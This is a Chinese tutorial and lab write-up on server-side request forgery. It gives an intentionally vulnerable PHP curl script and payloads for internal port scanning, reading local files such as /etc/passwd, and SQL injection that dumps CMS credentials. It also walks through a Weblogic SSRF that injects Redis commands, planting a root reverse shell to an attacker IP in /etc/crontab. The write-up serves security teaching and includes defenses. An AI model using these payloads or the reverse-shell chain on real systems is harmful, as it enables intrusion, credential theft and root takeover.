服务端请求伪造(SSRF)及漏洞复现

news2024/12/26 9:31:16

文章目录

  • 渗透测试漏洞原理
  • 服务端请求伪造
    • 1. SSRF 概述
      • 1.1 SSRF 场景
        • 1.1.1 PHP 实现
      • 1.2 SSRF 原理
      • 1.3 SSRF 危害
    • 2. SSRF 攻防
      • 2.1 SSRF 利用
        • 2.1.1 文件访问
        • 2.1.2 端口扫描
        • 2.1.3 读取本地文件
        • 2.1.4 内网应用指纹识别
        • 2.1.5 攻击内网Web应用
      • 2.2 SSRF 经典案例
        • 2.2.1 访问页面
        • 2.2.2 漏洞测试
        • 2.2.3 注入HTTP头,利用Redis反弹shell
      • 2.3 SSRF 防御
        • 2.3.1 过滤输入
        • 2.3.2 过滤输出
        • 2.3.3 内部网络隔离
        • 2.3.4 授权验证和访问控制
        • 2.3.5 安全编码实践
    • 3. SSRF 挖掘

渗透测试漏洞原理

服务端请求伪造

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现,需要PHP扩展组件curl支持

该实验需要开启curl

image-20230904153208677

<?php
    if(isset($_REQUEST['url'])){
        $link = $_REQUEST['url'];
        $fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件,将请求到的内容放到该文件中。
        $curlObj = curl_init($link);		# 初始化
        $fp = fopen($fileName,'w');

        curl_setopt($curlObj,CURLOPT_FILE,$fp);
        curl_setopt($curlObj,CURLOPT_HEADER,0);
        curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

        curl_exec($curlObj);
        curl_close($curlObj);
        fclose($fp);

        if(getimagesize($fileName)){
            header("Content-Type:image/png");
        }

        $fp = fopen($fileName,'r');
        $result = fread($fp,filesize($fileName));
        fclose($fp);
        echo $result;
    }else{
        echo "?url=[url]";
    }
?>

在phpstudy的www目录下创建一个ssrf,然后在ssrf中创建一个curled目录。

image-20230904104632754

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

页面效果如下:

image-20230904104815771

整个实验的流程:ssrf_curl.php文件会接受来着客户端的URL地址,然后服务器收到URL地址后,根据这个URL地址发起请求,把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

1.3 SSRF 危害

漏洞危害:

  • 内部资产暴露:攻击者可以通过伪造的请求访问内部资源,包括数据库、文件系统、配置文件、读取本地文件等。
  • 敏感信息泄露:攻击者可以利用该漏洞获取敏感信息,例如访问受限 API、执行未经授权的操作等。
  • 进行攻击:攻击者可以通过伪造的请求向其他系统发起攻击,例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

例如:

image-20230904154543467

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

image-20230904154609298

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

image-20230904155252327

还可以读取ssrf_curl.php文件。

image-20230904155421617

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\phpstudy_2016\www\phpMyAdmin"> 
    #Order allow,deny
	Order deny,allow 
    deny from all			# 拒绝所有
	allow from 127.0.0.1	# 只允许本机

</Directory>

修改httpd_config配置文件。

image-20230904162510218

配置完后在内网中可以访问到phpMyAdmin

image-20230904162346295

如果是外部访问的话,是无法访问到的。

image-20230904162431514

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme

2.1.5 攻击内网Web应用

内网安全通常都很薄弱。

<Directory "c:\phpstudy_2016\www\cms">
	#Order allow,deny 
	Order deny,allow 
	deny from all
	allow from 127.0.0.1

</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users

实验

image-20230904163233765

该页面存在SQL注入漏洞。尝试进行注入

image-20230904163504345

说明:如果直接注入的话页面是没有反应的,因为这里的参数如id,联合查询等,应该给show.php,而现在是传递给了ssrf_curl.php。

解决方式:用注释来替换掉空格

image-20230904164320516

2.2 SSRF 经典案例

链接地址:Weblogic SSRF 到GetShell。

启动docker环境

image-20230904165156601

2.2.1 访问页面

发现404错误

image-20230904164944148

这里访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

image-20230904165253383

访问指定页面,使用bp抓取数据包,点击Search。

image-20230904165507514

找到指定的数据包信息

image-20230904165630634

右键发送到重发器查看,发现页面报错

image-20230904165810673

使用DNSLog,探测该页面是否存在SSRF漏洞。

image-20230904170137054

bp中修改数据包

image-20230904170255931

查看DNSLog解析结果

image-20230904170231107

解析成功,说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT,如http://127.0.0.1:80

image-20230904170651788

可访问的80端口发生错误。

访问非http协议,则会返回did not have a valid SOAP content-type

image-20230904171943805

修改为一个不存在的端口,将会返回could not connect over HTTP to server

image-20230904171139447

通过错误的不同,即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器(docker环境的网段一般是172.*)这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态,这里探测到了Redis的6379端口开放。

image-20230904171943805

对于Redis数据库有未授权访问的漏洞,利用方式如下:

  • 数据库内容泄露
  • 利用Redis数据库读写文件
    • 编写Webshell,编写计划任务,写ssh公钥
  • RCE漏洞

因为读取数据是看不到服务器响应的,属于无回显状态。所以这里采用写数据的方式,写Webshell的前提是对方需要开启Web服务,而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头,利用Redis反弹shell

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

Redis数据库命令是通过http协议进行提交的所以需要进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意:换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

kali中监听21端口

image-20230904173503042

修改bp中的数据包信息

image-20230904174733741

点击发送数据包。

反弹成功

image-20230904174642517

查看当前权限为root。

image-20230904174827926

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议,仅允许 http 或 https 协议。

  • 限制IP,避免应用被用来获取内网数据,攻击内网。

  • 限制端口,限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤。

  • 统一错误信息,让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开,并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制,确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南,进行输入验证和输出编码,以减少漏洞发生的可能性。

3. SSRF 挖掘

Web功能URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974311.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QLoRA:量化LLM的高效微调策略与实践

如果你对这篇文章感兴趣&#xff0c;而且你想要了解更多关于AI领域的实战技巧&#xff0c;可以关注「技术狂潮AI」公众号。在这里&#xff0c;你可以看到最新最热的AIGC领域的干货文章和案例实战教程。 一、前言 在大型语言模型&#xff08;LLM&#xff09;领域&#xff0c;微…

Android大厂需要刷的(999道)面试题

想必大家都在为今年的金九银十做准备&#xff0c;今年也是最为艰难的一年。作为程序员从未感觉到如此艰难&#xff0c;身边不是被辞退就是找不到工作。先不说2023年应届生毕业即失业&#xff0c;作为开发15年的老Android程序员&#xff0c;现在也在和300个人挣一个岗位。 肉少…

MySQL大数据量高速迁移,500GB只需1个小时

在上篇「快、准、稳的实现亿级别MySQL大表迁移」的文章中&#xff0c;介绍了NineData在单张大表场景下的迁移性能和优势。但在大部分场景中&#xff0c;可能遇到的是多张表构成的大数据量场景下的数据搬迁问题。因为搬迁数据量较大&#xff0c;迁移的时长、稳定性及准确性都受到…

Maven编译java及解决程序包org.apache.logging.log4j不存在问题

1、首先新建一个文件夹&#xff0c;比如hello Hello里新建pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi…

Qt 5.15编译(MinGW)及集成Crypto++ 8.7.0笔记

一、背景 为使用AES加密库&#xff08;AES/CBC加解密&#xff09;&#xff0c;选用Crypto 库&#xff08;官网&#xff09;。   最新Crypto C库依次为&#xff1a;8.8.0版本&#xff08;2023-6-25&#xff09;、8.7.0&#xff08;2022-8-7&#xff09;和8.6.0&#xff08;202…

电表数据采集红外抄表加密认证

红外操作前需要进行红外认证&#xff0c;打开操作权限。认证不通过&#xff0c;只能读出表号、通信地址、备案号、当前日期、当前时间、当前电能、当前剩余金额、红外认证查询命令&#xff0c; 其它信息不允许读出&#xff0c;所有信息均不允许设置。停电唤醒情况下&#xff0…

小白学go基础04-命名惯例对标识符进行命名

计算机科学中只有两件难事&#xff1a;缓存失效和命名。 命名是编程语言的要求&#xff0c;但是好的命名却是为了提高程序的可读性和可维护性。好的命名是什么样子的呢&#xff1f;Go语言的贡献者和布道师Dave Cheney给出了一个说法&#xff1a;“一个好笑话&#xff0c;如果你…

elasticsearch的数据聚合

聚合可以让我们极其方便的实现对数据的统计、分析、运算。例如&#xff1a; 什么品牌的手机最受欢迎&#xff1f; 这些手机的平均价格、最高价格、最低价格&#xff1f; 这些手机每月的销售情况如何&#xff1f; 实现这些统计功能的比数据库的sql要方便的多&#xff0c;而且…

文件夹改名利器!批量随机重命名并自定义长度

你是否曾经为如何快速有效地重命名多个文件夹而感到困扰&#xff1f;我们为您带来了一款强大的文件夹改名工具&#xff0c;让您轻松实现批量随机重命名&#xff0c;并自定义长度&#xff0c;让您的文件夹管理更加高效便捷 首先第一步&#xff0c;我们要打开文件批量改名高手并登…

RLHF不再需要人类,AI 实现标注自循环

从人类反馈中强化学习&#xff08;RLHF&#xff09;在使大型语言模型&#xff08;LLMs&#xff09;与人类偏好保持一致方面非常有效&#xff0c;但收集高质量的人类偏好标签是一个关键瓶颈。我们进行了RLHF与来自AI反馈的强化学习&#xff08;RLAIF&#xff09;的头对头比较 - …

Redis基础知识(三):缓存穿透、缓存击穿、缓存雪崩

文章目录 一、缓存穿透出现过程解决方法 二、缓存击穿出现过程解决方法 三、缓存雪崩出现过程解决方法 我们在项目中大量使用Redis承接海量数据的冲击&#xff0c;但是使用过程中也会遇到一些特殊的情况&#xff0c;这个就是缓存击穿、缓存穿透、缓存雪崩。 一、缓存穿透 缓存…

ApachePulsar原理解析与应用实践(学习笔记一)

随着时代的发展&#xff0c;软件设计的理念也在不断发展&#xff0c;从单体服务、面向服务、微服务&#xff0c;发展到云原生以及无服务。其演变的过程是一个能力不断增强&#xff0c;领域边界不断微分细化的过程。比如无服务就是将函数作为服务&#xff0c;就类似dns模式的服务…

RK3568开发笔记(六):开发板烧写ubuntu固件(支持mipi屏镜像+支持hdmi屏镜像)

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/132686096 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

【Python】pytorch,CUDA是否可用,查看显卡显存剩余容量

CUDA可用&#xff0c;共有 1 个GPU设备可用。 当前使用的GPU设备索引&#xff1a;0 当前使用的GPU设备名称&#xff1a;NVIDIA T1000 GPU显存总量&#xff1a;4.00 GB 已使用的GPU显存&#xff1a;0.00 GB 剩余GPU显存&#xff1a;4.00 GB PyTorch版本&#xff1a;1.10.1cu102 …

webpack实战:某网站JS逆向分析

文章目录 1. 写在前面2. 抓包分析3. 扣加密代码 1. 写在前面 好的逆向能够帮助我们了解加密实现&#xff0c;然后根据加密方式&#xff08;md5,base64,res,des,rsa…)还原加密算法的过程。可以看看我之前的这篇文章&#xff1a;快速定位查找加密方式特征与技巧 目标站点&#…

Qt应用开发(基础篇)——向导对话框 QWizard

一、前言 QWizard类继承于QDialog&#xff0c;为有向导界面需求的应用环境提供了一个框架。 对话框窗口 QDialog QWizard向导对话框是一个拥有队列界面的特殊对话框&#xff0c;向导的目的是引导用户一步一步的完成预设的流程。向导常用于软件安装界面向导、硬件线路安装向导、…

【Linux】Ubuntu20.04版本配置pytorch环境2023.09.05【教程】

【Linux】Ubuntu20.04版本配置pytorch环境2023.09.05【教程】 文章目录 【Linux】Ubuntu20.04版本配置pytorch环境2023.09.05【教程】一、安装Anaconda虚拟环境管理器二、创建虚拟环境并激活三、安装Pytorch四、测试pytorchReference 一、安装Anaconda虚拟环境管理器 首先进入…

《西方美学史》分享1

《西方美学史》分享1 这本书是岭南大学中文系教授许子东老师推荐的&#xff0c;而且这本书名气也非常大。 刚读完绪论和第一章。 这本书可以带领我们去思考&#xff0c;现实社会中“美”是什么&#xff0c;什么是美的。我们总在说“真善美”&#xff0c;“真”和“善”就是美…

恒运资本:光刻胶概念强势拉升,同益股份、格林达涨停,容大感光等走高

光刻胶概念5日盘中强势拉升&#xff0c;到发稿&#xff0c;同益股份、格林达涨停&#xff0c;波长光电、晶瑞电材涨超7%&#xff0c;容大感光涨逾5%&#xff0c;华懋科技、茂莱光学、苏大维格、南大光电等均走强。 消息面上&#xff0c;据新加坡《联合早报》网站9月2日报导&am…

恒运资本:北交所股票全红!不到10分钟30%涨停,“认房不认贷”发力了!

今天早盘&#xff0c;A股震荡上扬&#xff0c;上证指数、深证成指等重要股指高开高走&#xff0c;并均涨超1%&#xff0c;两市成交略有增加。 盘面上&#xff0c;房地产、家居用品、煤炭、钢铁等板块涨幅居前&#xff0c;光刻机、软件服务、半导体、机器视觉等板块跌幅居前。北…